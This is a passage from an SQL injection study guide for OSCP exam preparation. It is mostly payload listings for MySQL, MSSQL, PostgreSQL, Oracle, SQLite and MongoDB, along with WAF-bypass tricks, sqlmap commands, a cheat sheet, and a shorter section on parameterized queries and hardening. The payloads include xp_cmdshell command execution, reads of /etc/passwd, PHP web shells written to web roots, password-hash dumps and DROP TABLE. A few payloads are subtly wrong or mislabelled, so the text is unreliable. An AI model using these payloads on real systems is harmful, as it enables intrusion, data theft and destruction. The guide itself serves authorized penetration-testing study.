-- Extract via error (geometry)
?id=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--

-- Boolean blind with MAKE_SET
?id=1 AND MAKE_SET((SELECT IF(SUBSTRING(user(),1,1)='<',0,1)),'anything')--

-- Time-based with GET_LOCK
?id=1 AND GET_LOCK((SELECT version()),5)--

12.2 MSSQL (Microsoft SQL Server)

Key Characteristics

Feature Details
Comment styles --, /* */
String concat + operator
String char CHAR(65) = ‘A’
Substr SUBSTRING(str,pos,len)
Sleep WAITFOR DELAY '0:0:5'
Info schema information_schema, sys.tables, sys.columns
Cmd exec xp_cmdshell
Stacked queries Supported (; separator)

MSSQL-Specific Payloads

-- Stacked queries (MSSQL supports this!)
?id=1; SELECT @@version--

-- xp_cmdshell
?id=1; EXEC xp_cmdshell('whoami')--

-- Error-based via CONVERT
?id=1 AND 1=CONVERT(int,(SELECT @@version))--

-- Boolean blind
?id=1 AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_name NOT IN('sysobjects') ORDER BY table_name ASC)=CHAR(97)--

-- Time-based
?id=1; WAITFOR DELAY '0:0:5'--

-- Extract all databases
?id=-1 UNION SELECT name,NULL,NULL FROM master..sysdatabases--

-- Check if user is DBA
?id=1 AND 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--

12.3 PostgreSQL

Key Characteristics

Feature Details
Comment styles --, /* */
String concat || operator
String char CHR(65) = ‘A’
Substr SUBSTRING(str FROM pos FOR len)
Sleep pg_sleep(seconds)
Info schema information_schema, pg_tables, pg_database
File read pg_read_file(), COPY FROM
File write COPY TO

PostgreSQL-Specific Payloads

-- Version extraction
?id=1' UNION SELECT version(),NULL,NULL--

-- Current database
?id=1' UNION SELECT current_database(),NULL,NULL--

-- All tables
?id=1' UNION SELECT schemaname || '.' || tablename,NULL,NULL FROM pg_tables--

-- Boolean blind
?id=1' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables LIMIT 1)='u'--

-- Time-based
?id=1' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--

-- File read
?id=1' UNION SELECT pg_readfile('/etc/passwd'),NULL,NULL--

-- DNS exfiltration
?id=1' AND (SELECT * FROM (SELECT CAST((SELECT version()) AS int))a)--

12.4 Oracle

Key Characteristics

Feature Details
Comment styles --, /* */
String concat || operator, CONCAT(a,b)
String char CHR(65) = ‘A’
Substr SUBSTR(str,pos,len)
Sleep DBMS_LOCK.SLEEP(seconds)
Info schema all_tables, all_tab_columns, all_users
DUAL table Required for SELECT without table
No stacked queries Not supported in most contexts

Oracle-Specific Payloads

-- Version
?id=1' UNION SELECT banner,NULL,NULL FROM v$version--

-- Current user
?id=1' UNION SELECT user,NULL,NULL FROM dual--

-- All tables
?id=1' UNION SELECT table_name,NULL,NULL FROM all_tables--

-- Boolean blind
?id=1' AND (SELECT SUBSTR(username,1,1) FROM all_users WHERE ROWNUM=1)='S'--

-- Time-based
?id=1'; BEGIN DBMS_LOCK.SLEEP(5); END;--

-- Error-based via CTXSYS
?id=1' AND (SELECT CTXSYS.DRITHSX.SN(user,(SELECT version FROM v$instance)) FROM dual)=1--

-- Extract password hashes
?id=1' UNION SELECT username,password,NULL FROM sys.dba_users--

12.5 SQLite

Key Characteristics

Feature Details
Comment styles --, /* */
String concat `
String char CHAR() not available, use UNICODE()
Substr SUBSTR(str,pos,len)
Sleep Not available (use large queries)
Info schema sqlite_master
Limited functions Fewer built-in functions

SQLite-Specific Payloads

-- Version
?id=1' UNION SELECT sqlite_version(),NULL,NULL--

-- All tables
?id=1' UNION SELECT sql,NULL,NULL FROM sqlite_master--

-- Table names
?id=1' UNION SELECT name,NULL,NULL FROM sqlite_master WHERE type='table'--

-- Boolean blind
?id=1' AND (SELECT SUBSTR(sql,1,1) FROM sqlite_master WHERE type='table' LIMIT 1)='C'--

-- Read file (limited)
?id=1' UNION SELECT readfile('/etc/passwd'),NULL,NULL--

-- Write file
?id=1'; ATTACH DATABASE '/var/www/shell.php' AS x; CREATE TABLE x.c(p); INSERT INTO x.c VALUES('--><?php system($_GET["cmd"]);?>');--

12.6 Database Fingerprinting

-- MySQL fingerprint
?id=1' AND 1=IF(LEFT(version(),1)=5,1,1/0)--    [No error = MySQL 5.x]

-- MSSQL fingerprint
?id=1' AND 1=CONVERT(int, @@version)--    [Error = MSSQL]

-- PostgreSQL fingerprint
?id=1' AND 1=(SELECT 1 FROM pg_database)--    [No error = PostgreSQL]

-- Oracle fingerprint
?id=1' AND 1=(SELECT COUNT(*) FROM v$version)--    [No error = Oracle]

-- SQLite fingerprint
?id=1' AND 1=(SELECT COUNT(*) FROM sqlite_master)--    [No error = SQLite]

13. WAF Bypass Techniques

13.1 Encoding-Based Bypasses

Technique Example Bypasses
URL encoding %27%20OR%201%3D1 Basic string filters
Double URL encoding %2527%2520OR Single-pass decoders
Unicode encoding %u0027%u00201%u003d1 ASCII-only filters
Hex encoding 0x27 for ' String literal filters
Charset encoding UTF-7, UTF-16 Charset-specific WAFs

13.2 Whitespace Bypasses

-- Replace spaces with comments
?id=1/**/UNION/**/SELECT/**/1,2,3--

-- Replace spaces with parentheses
?id=(1)UNION(SELECT(1),SELECT(2),SELECT(3))--

-- Replace spaces with tabs/newlines
?id=1%09UNION%0ASELECT%0D1,2,3--

-- Mixed whitespace
?id=1%20%09%0A%0DUNION%2F**/SELECT%2A%2A%2F1,2,3--

13.3 Keyword Bypasses

-- Case variation
?id=1 uNiOn SeLeCt 1,2,3--

-- Inline comments
?id=1/*comment*/UNION/*comment*/SELECT/*comment*/1,2,3--

-- Alternative syntax
UNION ALL SELECT → UNION SELECT
SELECT → (SELECT
WHERE → HAVING
AND → &&
OR → ||
= → LIKE, REGEXP, RLIKE
> → NOT BETWEEN 0 AND

-- Double keyword
?id=1 UNIUNIONON SESELECTLECT 1,2,3--    [Some WAFs remove first occurrence]

13.4 Operator Bypasses

Original Alternative Example
= LIKE, REGEXP username LIKE 'admin'
> NOT BETWEEN 0 AND ASCII(...) NOT BETWEEN 0 AND 100
< BETWEEN 0 AND ASCII(...) BETWEEN 0 AND 100
AND && 1&&1
OR || 1||0
-- #, /* */ 1#, 1/* */

13.5 Advanced WAF Bypass Techniques

-- Wide byte injection (GBK)
?id=%bf' OR 1=1--

-- Truncation attack (MySQL <= 5.0)
Username: admin                                        [50 chars padded with spaces]
Password: ' OR 1=1--

-- Scientific notation
?id=1e0 UNION SELECT 1,2,3--

-- Hex string bypass
?id=1 AND 1=(SELECT 1 FROM users WHERE username=0x61646d696e)--

-- Backtick identifier
?id=1 AND `1`=1--

-- Variable-based
?id=1; SET @q=0x53454c4543542031; PREPARE s FROM @q; EXECUTE s;--

-- Stored procedure bypass
?id=1; CALL (SELECT 1)--

13.6 WAF-Specific Bypasses

WAF Bypass Technique
ModSecurity modsecurityversioned tamper, tautology injection
Cloudflare Case variation, whitespace replacement, encoding
AWS WAF Parameter pollution, header injection
Akamai Double encoding, unusual content-type
Imperva Comment injection, keyword splitting
FortiWeb Space replacement, case mixing

13.7 Parameter Pollution

-- Duplicate parameters
?id=1&id=1' OR 1=1--

-- Array parameters
?id[]=1&id[]=1' OR 1=1--

-- Mixed parameters
?id=1&id[]=1' UNION SELECT 1,2,3--

14. NoSQL Injection Basics

14.1 What is NoSQL Injection?

  • Targets NoSQL databases (MongoDB, CouchDB, Redis)
  • Different from traditional SQLi — uses JSON/BSON operators
  • Often found in Node.js, Python, and modern web apps
  • Authentication bypass is the most common impact

14.2 MongoDB Injection

Authentication Bypass

// Original query:
db.users.findOne({username: req.body.username, password: req.body.password})

// Injected via JSON:
{
  "username": {"$ne": null},
  "password": {"$ne": null}
}

// Or via prototype pollution:
{
  "username": "$ne",
  "password": "$ne"
}

// URL encoded POST body:
username[$ne]=1&password[$ne]=1

Data Extraction

// Extract all users
{
  "username": {"$regex": "^.*"},
  "password": {"$regex": "^.*"}
}

// Extract character by character
{
  "username": "admin",
  "password": {"$regex": "^a"}
}
{
  "username": "admin",
  "password": {"$regex": "^ab"}
}

// Using $gt operator
{
  "username": {"$gt": null},
  "password": {"$gt": null}
}

Command Injection via MapReduce

// Aggregation pipeline injection
{
  "$where": "this.username == 'admin' && this.password == 'test'"
}

// JavaScript execution
{
  "$where": "function() { return java.lang.Runtime.getRuntime().exec('id'); }"
}

14.3 NoSQL Injection Operators

Operator Purpose Example
$ne Not equal {"field": {"$ne": null}}
$gt Greater than {"field": {"$gt": ""}}
$gte Greater or equal {"field": {"$gte": 0}}
$lt Less than {"field": {"$lt": 100}}
$regex Regex match {"field": {"$regex": "^.*"}}
$where JS expression {"$where": "this.x > 1"}
$exists Field exists {"field": {"$exists": true}}

14.4 NoSQL Injection Detection

# Test with NoSQLMap
nosqlmap -u "https://target.com/login" --data='{"username":"admin","password":"test"}' --method=POST

# Manual test payloads
username[$ne]=1&password[$ne]=1
username[$gt]=&password[$gt]=
{"username":{"$ne":null},"password":{"$ne":null}}

15. Stored Procedure Injection

15.1 What is Stored Procedure Injection?

  • Stored procedures are pre-compiled SQL code stored in the database
  • Injection occurs when user input is concatenated into dynamic SQL within a procedure
  • Often overlooked by developers and scanners

15.2 Detection

-- Check for stored procedures (MySQL)
SELECT routine_name FROM information_schema.routines WHERE routine_type='PROCEDURE';

-- Check for stored procedures (MSSQL)
SELECT name FROM sys.objects WHERE type='P';

-- Test procedure with injection
CALL vulnerable_proc('input' OR 1=1--');

15.3 Exploitation

-- MySQL stored procedure injection
CALL get_user_data('admin' UNION SELECT password,username FROM users--');

-- MSSQL stored procedure injection
EXEC get_user_info 'admin''; EXEC xp_cmdshell('whoami')--';

-- Blind injection in stored procedure
CALL search_products('laptop' AND SLEEP(5)--');

15.4 Second-Order Stored Procedure Injection

-- Step 1: Store malicious input
INSERT INTO products (name) VALUES ('laptop''; DROP TABLE users;--');

-- Step 2: Trigger via stored procedure
CALL generate_report('laptop''; DROP TABLE users;--');

16. Prevention and Mitigation

16.1 Parameterized Queries (Prepared Statements)

PHP (PDO)

// VULNERABLE
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);

// SECURE - Parameterized
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);
$user = $stmt->fetch();

Python (psycopg2)

# VULNERABLE
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")

# SECURE - Parameterized
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

Java (JDBC)

// VULNERABLE
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE username = '" + username + "'");

// SECURE - PreparedStatement
PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();

Node.js

// VULNERABLE
const query = `SELECT * FROM users WHERE username = '${username}'`;
connection.query(query);

// SECURE - Parameterized
connection.query('SELECT * FROM users WHERE username = ?', [username], callback);

16.2 Input Validation

Method Description Effectiveness
Whitelist Allow only expected High
Blacklist Block known malicious patterns Low (bypassable)
Type checking Validate data type (int, email, etc.) Medium-High
Length limits Restrict input length Medium
Regex validation Pattern matching for expected format Medium

16.3 Defense in Depth

graph TD
    A[Input Layer] --> B[Validation Layer]
    B --> C[Query Layer]
    C --> D[Database Layer]
    D --> E[Monitoring Layer]
    
    A --> A1[HTTPS / TLS]
    B --> B1[Input Validation]
    B --> B2[Sanitization]
    C --> C1[Parameterized Queries]
    C --> C2[ORM Usage]
    D --> D1[Least Privilege]
    D --> D2[Row-Level Security]
    E --> E1[SQL Injection Detection]
    E --> E2[Logging / Alerting]

16.4 Database Hardening

Action Description
Least privilege Application DB user should have minimal permissions
Remove dangerous functions Disable xp_cmdshell, LOAD_FILE, etc.
Error suppression Return generic error messages to users
Web Application Firewall Deploy WAF with SQLi rulesets
Regular audits Periodic penetration testing and code review
Keep updated Patch database software regularly

16.5 ORM (Object-Relational Mapping)

# Django ORM - Safe by default
User.objects.filter(username=username)

# SQLAlchemy - Safe by default
session.query(User).filter(User.username == username)

# Hibernate - Safe by default
session.createQuery("FROM User WHERE username = :username")
    .setParameter("username", username)

17. Quick Reference Cheat Sheet

17.1 Injection Point Testing

'          → Error?
"          → Error?
' OR '1'='1 → Auth bypass?
1 OR 1=1   → Numeric injection?
'--        → Comment works?
'; --      → Stacked queries?

17.2 Column Count Discovery

' ORDER BY 1--    → Increase until error
' UNION SELECT NULL-- → Add NULLs until no error

17.3 Database Identification

MySQL:      version(), @@version, information_schema
MSSQL:      @@version, sys.databases, xp_cmdshell
PostgreSQL: version(), pg_database, pg_sleep
Oracle:     v$version, all_tables, dual
SQLite:     sqlite_version(), sqlite_master

17.4 Data Extraction Quick Commands

# sqlmap one-liners
sqlmap -u "URL?param=value" --batch --dbs
sqlmap -u "URL?param=value" -D db --tables
sqlmap -u "URL?param=value" -D db -T table --columns
sqlmap -u "URL?param=value" -D db -T table -C col --dump
sqlmap -u "URL?param=value" --os-shell

17.5 Common Web Paths for File Write

Linux:
  /var/www/html/
  /var/www/
  /var/www/vhosts/domain/httpdocs/
  /home/user/public_html/
  /srv/http/

Windows:
  C:\xampp\htdocs\
  C:\wamp64\www\
  C:\inetpub\wwwroot\
  C:\Apache24\htdocs\
  C:\Program Files\Apache Group\Apache\htdocs\

17.6 OSCP-Relevant SQLi Checklist

  • Identify all input points (GET, POST, headers, cookies)
  • Test each with ' for error-based detection
  • Determine injection type (error, union, boolean, time, OAST)
  • Enumerate database type and version
  • Extract schema (tables, columns)
  • Extract sensitive data (credentials, tokens)
  • Attempt file read/write
  • Attempt command execution
  • Attempt authentication bypass
  • Document all findings with evidence

17.7 Tools Summary

Tool Purpose Command
sqlmap Full SQLi automation sqlmap -u URL --batch
Burp Suite Manual testing, proxy Intercept → Repeater
Arjun Hidden parameter discovery arjun -u URL
NoSQLMap NoSQL injection nosqlmap -u URL
Commix Command injection commix -u URL
wfuzz Fuzzing wfuzz -c -z file,wordlist.txt -u URL/FUZZ

Appendix A: SQL Injection Payloads by Database

MySQL Payloads

-- Error-based
AND extractvalue(1,CONCAT(0x7e,(SELECT version())))
AND updatexml(1,CONCAT(0x7e,(SELECT version())),1)
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

-- Union-based
-1 UNION SELECT 1,version(),3,4,5--
-1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()--

-- Boolean-based
AND SUBSTRING(version(),1,1)='5'
AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97

-- Time-based
AND SLEEP(5)
AND IF(1=1,SLEEP(5),0)
AND BENCHMARK(10000000,SHA1('test'))

-- File operations
UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--
UNION SELECT 1,'<?php system($_GET["cmd"]);?>',3 INTO OUTFILE '/var/www/shell.php'--

MSSQL Payloads

-- Error-based
AND 1=CONVERT(int,(SELECT @@version))

-- Union-based
-1 UNION SELECT @@version,NULL,NULL--
-1 UNION SELECT name,NULL,NULL FROM master..sysdatabases--

-- Boolean-based
AND (SELECT SUBSTRING(name,1,1) FROM sys.databases)=CHAR(116)

-- Time-based
; WAITFOR DELAY '0:0:5'--
IF(1=1) WAITFOR DELAY '0:0:5'--

-- Command execution
; EXEC xp_cmdshell('whoami')--
; EXEC master..xp_cmdshell('net user')--

PostgreSQL Payloads

-- Union-based
-1 UNION SELECT version(),NULL,NULL--
-1 UNION SELECT schemaname||'.'||tablename,NULL,NULL FROM pg_tables--

-- Boolean-based
AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables LIMIT 1)='u'

-- Time-based
AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)

-- File operations
UNION SELECT pg_readfile('/etc/passwd'),NULL,NULL--
COPY (SELECT '<?php system($_GET["cmd"]);?>') TO '/var/www/shell.php'--

IMPORTANT: SQL injection techniques described in this guide are for educational purposes and authorized security testing only.

  • Always obtain written authorization before testing
  • Test only on systems you own or have explicit permission to test
  • OSCP labs provide legal environments for practice
  • Unauthorized access to computer systems is illegal in most jurisdictions
  • Follow responsible disclosure practices for vulnerabilities found

References and Further Reading

Resource Description
OWASP SQL Injection https://owasp.org/www-community/attacks/SQL_Injection
PortSwigger Web Security Academy https://portswigger.net/web-security/sql-injection
sqlmap Documentation https://sqlmap.org/
PentesterLab SQLi https://pentesterlab.com/
HackTheBox https://www.hackthebox.com/
TryHackMe SQLi Rooms https://tryhackme.com/
Nmap NSE Scripts http-sql-injection.nse

End of SQL Injection Study Guide

This document is part of the OSCP preparation materials. Practice responsibly in authorized environments only.